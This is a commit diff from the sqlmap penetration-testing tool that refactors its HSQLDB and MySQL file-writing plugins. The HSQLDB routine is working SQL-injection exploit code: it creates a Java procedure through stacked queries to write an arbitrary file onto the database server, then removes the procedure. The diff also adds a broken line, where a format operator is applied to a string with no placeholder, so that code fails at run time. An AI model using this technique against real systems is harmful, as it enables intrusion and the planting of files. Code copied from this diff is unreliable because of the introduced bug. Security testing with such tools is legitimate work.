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Trivial refactoring for #4379

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This commit is contained in:
Miroslav Stampar 2020-10-13 11:05:13 +02:00
parent babe52eb10
commit 0585a55ee0
3 changed files with 11 additions and 15 deletions
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2
lib/core/settings.py
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@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.4.10.4"
VERSION = "1.4.10.5"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

22
plugins/dbms/hsqldb/filesystem.py
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@ -21,26 +21,23 @@ class Filesystem(GenericFilesystem):
@stackedmethod
def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
funcName = randomStr()
MAX_BYTES = 2 ** 20
max_bytes = 1024 * 1024
debugMsg = "creating a Java Language Procedure '%s'" % funcName
debugMsg = "creating JLP procedure '%s'" % funcName
logger.debug(debugMsg)
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, MAX_BYTES)
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes)
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
inject.goStacked(addFuncQuery)
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg = "as the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
@ -49,15 +46,14 @@ class Filesystem(GenericFilesystem):
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
invokeQuery = "call %s('%s', cast ('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, MAX_BYTES)
# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes)
inject.goStacked(invokeQuery)
logger.debug("removing procedure %s from DB" % funcName)
delQuery = "DELETE PROCEDURE " + funcName
logger.debug("cleaning up" % funcName)
delQuery = "DELETE PROCEDURE %s" % funcName
inject.goStacked(delQuery)
message = "the local file '%s' has been successfully written on the back-end DBMS" % localFile
message = "the local file '%s' has been written on the back-end DBMS" % localFile
message += "file system ('%s')" % remoteFile
logger.info(message)

2
plugins/dbms/mysql/filesystem.py
View File

@ -96,7 +96,7 @@ class Filesystem(GenericFilesystem):
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg = "as the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"